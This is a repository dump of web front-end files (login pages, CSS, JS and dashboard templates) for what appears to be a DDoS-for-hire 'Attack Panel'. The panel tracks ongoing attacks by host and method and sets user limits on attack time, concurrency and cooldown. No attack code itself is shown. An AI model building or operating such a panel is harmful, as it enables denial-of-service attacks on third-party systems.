H.prototype.update=function(){this.isAlive&&(this.negativeScrollAdjustment=this.isNegativeScroll?this.element.scrollWidth-this.element.clientWidth:0,e(this.scrollbarXRail,{display:"block"}),e(this.scrollbarYRail,{display:"block"}),this.railXMarginWidth=u(t(this.scrollbarXRail).marginLeft)+u(t(this.scrollbarXRail).marginRight),this.railYMarginHeight=u(t(this.scrollbarYRail).marginTop)+u(t(this.scrollbarYRail).marginBottom),e(this.scrollbarXRail,{display:"none"}),e(this.scrollbarYRail,{display:"none"}),R(this),W(this,"top",0,!1,!0),W(this,"left",0,!1,!0),e(this.scrollbarXRail,{display:""}),e(this.scrollbarYRail,{display:""}))},H.prototype.onScroll=function(t){this.isAlive&&(R(this),W(this,"top",this.element.scrollTop-this.lastScrollTop),W(this,"left",this.element.scrollLeft-this.lastScrollLeft),this.lastScrollTop=Math.floor(this.element.scrollTop),this.lastScrollLeft=this.element.scrollLeft)},H.prototype.destroy=function(){this.isAlive&&(this.event.unbindAll(),l(this.scrollbarX),l(this.scrollbarY),l(this.scrollbarXRail),l(this.scrollbarYRail),this.removePsClasses(),this.element=null,this.scrollbarX=null,this.scrollbarY=null,this.scrollbarXRail=null,this.scrollbarYRail=null,this.isAlive=!1)},H.prototype.removePsClasses=function(){this.element.className=this.element.className.split(" ").filter(function(t){return!t.match(/^ps([-_].+|)$/)}).join(" ")},H}); 7 | -------------------------------------------------------------------------------- /web/assets/login/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Login 5 | 6 | 7 | 8 | 9 |
10 |
11 |
12 | 13 |
Enter your credentials to gain access to the dashboard
14 |
{{if .error}}{{.error}}{{end}}
15 |
16 |
17 | 18 | 19 | 27 | 31 | 35 | 36 | 37 | 38 | 39 |
40 |
41 |
42 | 43 | 44 |
45 | 46 | 47 | 48 | 49 | 61 |
62 | 63 |
64 |
65 |
66 |
67 |
68 |
-------------------------------------------------------------------------------- /web/assets/login/script.js: -------------------------------------------------------------------------------- 1 | console.log("Bleach was here ;p"); 2 | var current = null; 3 | document.querySelector('#username').addEventListener('focus', function(e) { 4 | if (current) current.pause(); 5 | current = anime({ 6 | targets: 'path', 7 | strokeDashoffset: { 8 | value: 0, 9 | duration: 700, 10 | easing: 'easeOutQuart' 11 | }, 12 | strokeDasharray: { 13 | value: '240 1386', 14 | duration: 700, 15 | easing: 'easeOutQuart' 16 | } 17 | }); 18 | }); 19 | document.querySelector('#password').addEventListener('focus', function(e) { 20 | if (current) current.pause(); 21 | current = anime({ 22 | targets: 'path', 23 | strokeDashoffset: { 24 | value: -336, 25 | duration: 700, 26 | easing: 'easeOutQuart' 27 | }, 28 | strokeDasharray: { 29 | value: '240 1386', 30 | duration: 700, 31 | easing: 'easeOutQuart' 32 | } 33 | }); 34 | }); 35 | document.querySelector('#submit').addEventListener('focus', function(e) { 36 | if (current) current.pause(); 37 | current = anime({ 38 | targets: 'path', 39 | strokeDashoffset: { 40 | value: -730, 41 | duration: 700, 42 | easing: 'easeOutQuart' 43 | }, 44 | strokeDasharray: { 45 | value: '530 1386', 46 | duration: 700, 47 | easing: 'easeOutQuart' 48 | } 49 | }); 50 | }); 51 | function passwordToggle() { 52 | var x = document.getElementById("password"); 53 | if (x.type === "password") { 54 | x.type = "text"; 55 | } else { 56 | x.type = "password"; 57 | } 58 | } -------------------------------------------------------------------------------- /web/assets/login/styles.css: -------------------------------------------------------------------------------- 1 | @import url('https://rsms.me/inter/inter-ui.css'); 2 | /*::selection { 3 | background: #2D2F36 4 | } 5 | ::-webkit-selection { 6 | background: #2D2F36; 7 | } 8 | ::-moz-selection { 9 | background: #2D2F36; 10 | };*/ 11 | body { 12 | background: #363435; 13 | font-family: 'Inter UI', sans-serif; 14 | margin: 0; 15 | padding: 20px; 16 | } 17 | .page { 18 | background: #363435; 19 | display: flex; 20 | flex-direction: column; 21 | height: calc(100% - 40px); 22 | position: absolute; 23 | place-content: center; 24 | width: calc(100% - 40px); 25 | } 26 | @media (max-width: 767px) { 27 | .page { 28 | height: auto; 29 | margin-bottom: 20px; 30 | padding-bottom: 20px; 31 | } 32 | } 33 | .box { 34 | /*display: flex;*/ 35 | background-color: #474A59; 36 | height: 500px; 37 | margin: 0 auto; 38 | width: 640px; 39 | } 40 | @media (max-width: 767px) { 41 | .box { 42 | flex-direction: column; 43 | height: 800px; 44 | width: 400px; 45 | } 46 | } 47 | .container { 48 | display: flex; 49 | height: 320px; 50 | margin: 0 auto; 51 | width: 640px; 52 | } 53 | @media (max-width: 767px) { 54 | .container { 55 | flex-direction: column; 56 | height: 630px; 57 | width: 320px; 58 | } 59 | } 60 | .left { 61 | background: rgb(80, 80, 80); 62 | height: calc(100% - 40px); 63 | top: 20px; 64 | position: relative; 65 | width: 50%; 66 | } 67 | @media (max-width: 767px) { 68 | .left { 69 | height: 100%; 70 | left: 20px; 71 | width: calc(100% - 40px); 72 | max-height: 270px; 73 | } 74 | } 75 | .login { 76 | color: #999; 77 | font-size: 50px; 78 | font-weight: 900; 79 | margin: 50px 40px 40px; 80 | } 81 | .eula { 82 | color: #999; 83 | font-size: 14px; 84 | line-height: 1.5; 85 | margin: 40px; 86 | } 87 | .right { 88 | background: #474A59; 89 | box-shadow: 0px 0px 40px 16px rgba(0,0,0,0.22); 90 | color: #8f8f91; 91 | position: relative; 92 | width: 50%; 93 | } 94 | @media (max-width: 767px) { 95 | .right { 96 | flex-shrink: 0; 97 | height: 100%; 98 | width: 100%; 99 | max-height: 350px; 100 | } 101 | } 102 | svg { 103 | position: absolute; 104 | width: 320px; 105 | } 106 | path { 107 | fill: none; 108 | stroke: url(#linearGradient);; 109 | stroke-width: 4; 110 | stroke-dasharray: 240 1386; 111 | } 112 | .form { 113 | margin: 40px; 114 | position: absolute; 115 | } 116 | label { 117 | 118 | color: #9a9a9b; 119 | display: block; 120 | font-size: 14px; 121 | height: 16px; 122 | margin-top: 20px; 123 | margin-bottom: 5px; 124 | } 125 | input { 126 | 127 | background-color: rgb(32, 32, 32); 128 | border-radius: 5px; 129 | border: 0; 130 | color: #f2f2f2; 131 | font-size: 20px; 132 | height: 30px; 133 | line-height: 30px; 134 | outline: none !important; 135 | width: 100%; 136 | } 137 | .custom-input { 138 | background: #292929; 139 | color: #f2f2f2; 140 | font-size: 20px; 141 | height: 30px; 142 | line-height: 30px; 143 | outline: none !important; 144 | width: 100%; 145 | } 146 | select{ 147 | background-color: rgb(32, 32, 32); 148 | border-radius: 5px; 149 | border: 0; 150 | color: #2b2b2b; 151 | font-size: 20px; 152 | height: 30px; 153 | line-height: 30px; 154 | outline: none !important; 155 | width: 102%; 156 | } 157 | 158 | select:focus{ 159 | outline:none; 160 | } 161 | /* Chrome, Safari, Edge, Opera */ 162 | input::-webkit-outer-spin-button, 163 | input::-webkit-inner-spin-button { 164 | -webkit-appearance: none; 165 | margin: 0; 166 | } 167 | 168 | /* Firefox */ 169 | input[type=number] { 170 | -moz-appearance: textfield; 171 | } 172 | input::-moz-focus-inner { 173 | border: 1; 174 | } 175 | #submit { 176 | text-align: center; 177 | height: 30px; 178 | border-radius: 100px; 179 | width: 95%; 180 | color: #999; 181 | margin-top: 33px; 182 | transition: color 300ms; 183 | /*margin-bottom: 45px;*/ 184 | 185 | padding-top: 10px; 186 | padding-bottom: 36px; 187 | } 188 | #submit:focus { 189 | color: #8f8d8d; 190 | } 191 | #submit:active { 192 | color: #d0d0d2; 193 | } 194 | .error { 195 | color: red; 196 | font-size: 14px; 197 | line-height: 1.5; 198 | margin: 40px; 199 | } -------------------------------------------------------------------------------- /web/assets/script.js: -------------------------------------------------------------------------------- 1 | /* JS Document */ 2 | function getCookie(name) { 3 | // Split cookie string and get all individual name=value pairs in an array 4 | var cookieArr = document.cookie.split(";"); 5 | 6 | // Loop through the array elements 7 | for(var i = 0; i < cookieArr.length; i++) { 8 | var cookiePair = cookieArr[i].split("="); 9 | 10 | /* Removing whitespace at the beginning of the cookie name 11 | and compare it with the given string */ 12 | if(name == cookiePair[0].trim()) { 13 | // Decode the cookie value and return 14 | return decodeURIComponent(cookiePair[1]); 15 | } 16 | } 17 | 18 | // Return null if not found 19 | return null; 20 | } 21 | 22 | function setInnerValue(id, val) { // id and value return nothing 23 | element = document.getElementById(id); 24 | if (element != null) { // only if not null 25 | element.innerHTML = val; // change object with id to val 26 | } 27 | } 28 | 29 | function main() { 30 | 31 | console.log(atob(getCookie("api"))); // values stored as cookie 32 | 33 | let obj = JSON.parse( // Json object wrapped in b64 34 | atob( 35 | getCookie("api") // we use our api cookie 36 | ) 37 | ); 38 | console.log(obj.delay); 39 | setInnerValue("delay", obj.delay); 40 | if (obj.Success) { 41 | setInnerValue("Status", "✅ Good"); 42 | setInnerValue("delay", obj.delay); 43 | } else { 44 | console.log("there was an error "+obj.Error); 45 | setInnerValue("error", obj.Error); 46 | setInnerValue("Status", "❌Failure"); 47 | return 48 | } 49 | 50 | for (var id in obj.Arguments) { 51 | setInnerValue(id, obj.Arguments[id]); //set all elements with id to their value sharing the same id 52 | } 53 | 54 | } 55 | main(); 56 | -------------------------------------------------------------------------------- /web/assets/style.css: -------------------------------------------------------------------------------- 1 | /* CSS Document */ 2 | .full { 3 | font: bold 40px arial, sans-serif; 4 | background-color: #363435; 5 | color: #4d464c; 6 | } 7 | .titleText { 8 | font: bold 60px arial, sans-serif; 9 | color: #ab95a9; 10 | text-shadow: 1px 3px 1px rgba(0, 0, 0, 0.5); 11 | /*Chrome, Safari*/ 12 | -webkit-background-clip: text; 13 | /*Firefox*/ 14 | -moz-background-clip: text; 15 | /*Standard Syntax*/ 16 | background-clip: text; 17 | } 18 | .infoText { 19 | font: bold 40px arial, sans-serif; 20 | color: #ab95a9; 21 | } 22 | .errorText { 23 | text-shadow: 1px 5px 3px rgba(0, 0, 0, 0.5); 24 | font: bold 65px arial, sans-serif; 25 | color: #ff1500; 26 | } -------------------------------------------------------------------------------- /web/assets/succubus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/succubus.png -------------------------------------------------------------------------------- /web/dashboard/attack.html: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | Attack Panel 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
38 | 80 |
81 |
82 |
83 |
84 |
85 |
86 |
Attack Panel
87 |
88 |
89 |
90 |
91 |
92 |
93 | 94 | 95 |
96 |
97 |
98 |
99 | 100 | 101 |
102 |
103 |
104 |
105 | 106 | 107 |
108 |
109 |
110 |
111 | 112 | 113 | 118 |
119 | 122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
Ongoing
132 | 133 | 134 | 135 | 138 | 141 | 144 | 145 | 146 | 147 | {{range .ongoing}} 148 | 149 | 150 | 153 | 156 | 159 | 160 | 161 | {{end}} 162 | 163 |
136 | Host 137 | 139 | Method 140 | 142 | Expires 143 |
151 | {{.IpAddress}} 152 | 154 | {{.Method}} 155 | 157 | 158 |
164 |
165 |
166 |
167 |
168 |
169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 230 | 231 | -------------------------------------------------------------------------------- /web/dashboard/dashboard.html: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | Dashboard 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
40 | 82 |
83 |
84 |
85 |
86 |
87 |
88 |
Total Users
89 |

{{.totalusers}}

90 |
91 |
92 |
93 |
94 |
95 |
96 |
Attacks Sent
97 |

{{.totalallattacks}}

98 |
99 |
100 |
101 |
102 |
103 |
104 |
Your Attacks Sent
105 |

{{.totalattacks}}

106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |

User Status

115 |
116 |
117 |
118 |

Username

{{.user.username}} 119 |

Timelimit

{{.user.timelimit}} 120 |

Concurrent limit

{{.user.concurrents}} 121 |

Cooldown

{{.user.cooldown}} 122 |

Expiry

{{.user.expiry}} 123 |
124 |
125 |
126 |
127 |
128 |
129 | 130 |
131 |
132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /web/dashboard/manage.html: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | User Management 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
38 | 80 |
81 | 82 | 83 |
84 |
85 |
86 |
87 |
88 |
Adduser
89 |
90 |
91 |
92 |
93 |
94 |
95 | 96 | 97 |
98 |
99 |
100 |
101 | 102 | 103 |
104 |
105 |
106 |
107 | 108 | 109 |
110 |
111 |
112 |
113 | 114 | 115 |
116 |
117 |
118 |
119 | 120 | 121 |
122 |
123 |
124 |
125 | 126 | 127 |
128 |
129 |
130 |
131 | 132 | 133 |
134 |
135 |
136 |
137 | 138 | 139 |
140 |
141 |
142 |
143 | 144 |
145 |
146 |
147 |
148 | 149 | 150 |
151 |
152 |

153 | 157 |
158 |
159 | 160 |
161 |
162 |
163 |
164 |
165 |
Edit User
166 |
167 |
168 |
169 |
170 |
171 | 172 | 177 |
178 |
179 |
180 |
181 | 182 | 187 |
188 |
189 |
190 |
191 | 192 | 193 |
194 |
195 | 199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
Ongoing
207 | 208 | 209 | 210 | 213 | 216 | 219 | 222 | 223 | 224 | 225 | {{range .ongoing}} 226 | 227 | 228 | 231 | 234 | 237 | 240 | 241 | 242 | {{end}} 243 | 244 |
211 | User 212 | 214 | Host 215 | 217 | Method 218 | 220 | Expires 221 |
229 | {{.Username}} 230 | 232 | {{.IpAddress}} 233 | 235 | {{.Method}} 236 | 238 | 239 |
245 |
246 |
247 |
248 |
249 | 250 |
251 |
252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 303 | 304 | 305 | -------------------------------------------------------------------------------- /web/dashboard/user.html: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | User Account 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 |
38 | 80 |
81 | 82 | 83 |
84 |
85 |
86 |
87 |
88 |
Password Reset
89 |
90 |
91 |
92 |
93 |
94 |
95 | 96 | 97 |
98 |
99 |
100 |
101 | 102 | 103 |
104 |
105 |
106 |
107 | 108 | 109 |
110 |
111 |
112 | 116 |
117 |
118 |
119 |
120 | 121 |
122 |
123 |
124 |
API Key Reset
125 |
126 |
127 |
128 |
129 |
130 |
131 | 132 | 133 |
134 |
135 |
136 | 140 |
141 |
142 |
143 |
144 | 145 |
146 |
147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /web/index.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/login/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Login 5 | 6 | 7 | 8 | 9 |
10 |
11 |
12 | 13 |
Enter your credentials to gain access to the dashboard
14 |
{{if .error}}{{.error}}{{end}}
15 |
16 |
17 | 18 | 19 | 27 | 31 | 35 | 36 | 37 | 38 | 39 |
40 |
41 |
42 | 43 | 44 |
45 | 46 | 47 | 48 | 49 | 61 |
62 | 63 |
64 |
65 |
66 |
67 |
68 |
-------------------------------------------------------------------------------- /web/login/script.js: -------------------------------------------------------------------------------- 1 | console.log("Bleach was here ;p"); 2 | var current = null; 3 | document.querySelector('#username').addEventListener('focus', function(e) { 4 | if (current) current.pause(); 5 | current = anime({ 6 | targets: 'path', 7 | strokeDashoffset: { 8 | value: 0, 9 | duration: 700, 10 | easing: 'easeOutQuart' 11 | }, 12 | strokeDasharray: { 13 | value: '240 1386', 14 | duration: 700, 15 | easing: 'easeOutQuart' 16 | } 17 | }); 18 | }); 19 | document.querySelector('#password').addEventListener('focus', function(e) { 20 | if (current) current.pause(); 21 | current = anime({ 22 | targets: 'path', 23 | strokeDashoffset: { 24 | value: -336, 25 | duration: 700, 26 | easing: 'easeOutQuart' 27 | }, 28 | strokeDasharray: { 29 | value: '240 1386', 30 | duration: 700, 31 | easing: 'easeOutQuart' 32 | } 33 | }); 34 | }); 35 | document.querySelector('#submit').addEventListener('focus', function(e) { 36 | if (current) current.pause(); 37 | current = anime({ 38 | targets: 'path', 39 | strokeDashoffset: { 40 | value: -730, 41 | duration: 700, 42 | easing: 'easeOutQuart' 43 | }, 44 | strokeDasharray: { 45 | value: '530 1386', 46 | duration: 700, 47 | easing: 'easeOutQuart' 48 | } 49 | }); 50 | }); 51 | function passwordToggle() { 52 | var x = document.getElementById("password"); 53 | if (x.type === "password") { 54 | x.type = "text"; 55 | } else { 56 | x.type = "password"; 57 | } 58 | } -------------------------------------------------------------------------------- /web/login/styles.css: -------------------------------------------------------------------------------- 1 | @import url('https://rsms.me/inter/inter-ui.css'); 2 | /*::selection { 3 | background: #2D2F36 4 | } 5 | ::-webkit-selection { 6 | background: #2D2F36; 7 | } 8 | ::-moz-selection { 9 | background: #2D2F36; 10 | };*/ 11 | body { 12 | background: #363435; 13 | font-family: 'Inter UI', sans-serif; 14 | margin: 0; 15 | padding: 20px; 16 | } 17 | .page { 18 | background: #363435; 19 | display: flex; 20 | flex-direction: column; 21 | height: calc(100% - 40px); 22 | position: absolute; 23 | place-content: center; 24 | width: calc(100% - 40px); 25 | } 26 | @media (max-width: 767px) { 27 | .page { 28 | height: auto; 29 | margin-bottom: 20px; 30 | padding-bottom: 20px; 31 | } 32 | } 33 | .box { 34 | /*display: flex;*/ 35 | background-color: #474A59; 36 | height: 500px; 37 | margin: 0 auto; 38 | width: 640px; 39 | } 40 | @media (max-width: 767px) { 41 | .box { 42 | flex-direction: column; 43 | height: 800px; 44 | width: 400px; 45 | } 46 | } 47 | .container { 48 | display: flex; 49 | height: 320px; 50 | margin: 0 auto; 51 | width: 640px; 52 | } 53 | @media (max-width: 767px) { 54 | .container { 55 | flex-direction: column; 56 | height: 630px; 57 | width: 320px; 58 | } 59 | } 60 | .left { 61 | background: rgb(80, 80, 80); 62 | height: calc(100% - 40px); 63 | top: 20px; 64 | position: relative; 65 | width: 50%; 66 | } 67 | @media (max-width: 767px) { 68 | .left { 69 | height: 100%; 70 | left: 20px; 71 | width: calc(100% - 40px); 72 | max-height: 270px; 73 | } 74 | } 75 | .login { 76 | color: #999; 77 | font-size: 50px; 78 | font-weight: 900; 79 | margin: 50px 40px 40px; 80 | } 81 | .eula { 82 | color: #999; 83 | font-size: 14px; 84 | line-height: 1.5; 85 | margin: 40px; 86 | } 87 | .right { 88 | background: #474A59; 89 | box-shadow: 0px 0px 40px 16px rgba(0,0,0,0.22); 90 | color: #8f8f91; 91 | position: relative; 92 | width: 50%; 93 | } 94 | @media (max-width: 767px) { 95 | .right { 96 | flex-shrink: 0; 97 | height: 100%; 98 | width: 100%; 99 | max-height: 350px; 100 | } 101 | } 102 | svg { 103 | position: absolute; 104 | width: 320px; 105 | } 106 | path { 107 | fill: none; 108 | stroke: url(#linearGradient);; 109 | stroke-width: 4; 110 | stroke-dasharray: 240 1386; 111 | } 112 | .form { 113 | margin: 40px; 114 | position: absolute; 115 | } 116 | label { 117 | 118 | color: #9a9a9b; 119 | display: block; 120 | font-size: 14px; 121 | height: 16px; 122 | margin-top: 20px; 123 | margin-bottom: 5px; 124 | } 125 | input { 126 | 127 | background-color: rgb(32, 32, 32); 128 | border-radius: 5px; 129 | border: 0; 130 | color: #f2f2f2; 131 | font-size: 20px; 132 | height: 30px; 133 | line-height: 30px; 134 | outline: none !important; 135 | width: 100%; 136 | } 137 | .custom-input { 138 | background: #292929; 139 | color: #f2f2f2; 140 | font-size: 20px; 141 | height: 30px; 142 | line-height: 30px; 143 | outline: none !important; 144 | width: 100%; 145 | } 146 | select{ 147 | background-color: rgb(32, 32, 32); 148 | border-radius: 5px; 149 | border: 0; 150 | color: #2b2b2b; 151 | font-size: 20px; 152 | height: 30px; 153 | line-height: 30px; 154 | outline: none !important; 155 | width: 102%; 156 | } 157 | 158 | select:focus{ 159 | outline:none; 160 | } 161 | /* Chrome, Safari, Edge, Opera */ 162 | input::-webkit-outer-spin-button, 163 | input::-webkit-inner-spin-button { 164 | -webkit-appearance: none; 165 | margin: 0; 166 | } 167 | 168 | /* Firefox */ 169 | input[type=number] { 170 | -moz-appearance: textfield; 171 | } 172 | input::-moz-focus-inner { 173 | border: 1; 174 | } 175 | #submit { 176 | text-align: center; 177 | height: 30px; 178 | border-radius: 100px; 179 | width: 95%; 180 | color: #999; 181 | margin-top: 33px; 182 | transition: color 300ms; 183 | /*margin-bottom: 45px;*/ 184 | 185 | padding-top: 10px; 186 | padding-bottom: 36px; 187 | } 188 | #submit:focus { 189 | color: #8f8d8d; 190 | } 191 | #submit:active { 192 | color: #d0d0d2; 193 | } 194 | .error { 195 | color: red; 196 | font-size: 14px; 197 | line-height: 1.5; 198 | margin: 40px; 199 | } --------------------------------------------------------------------------------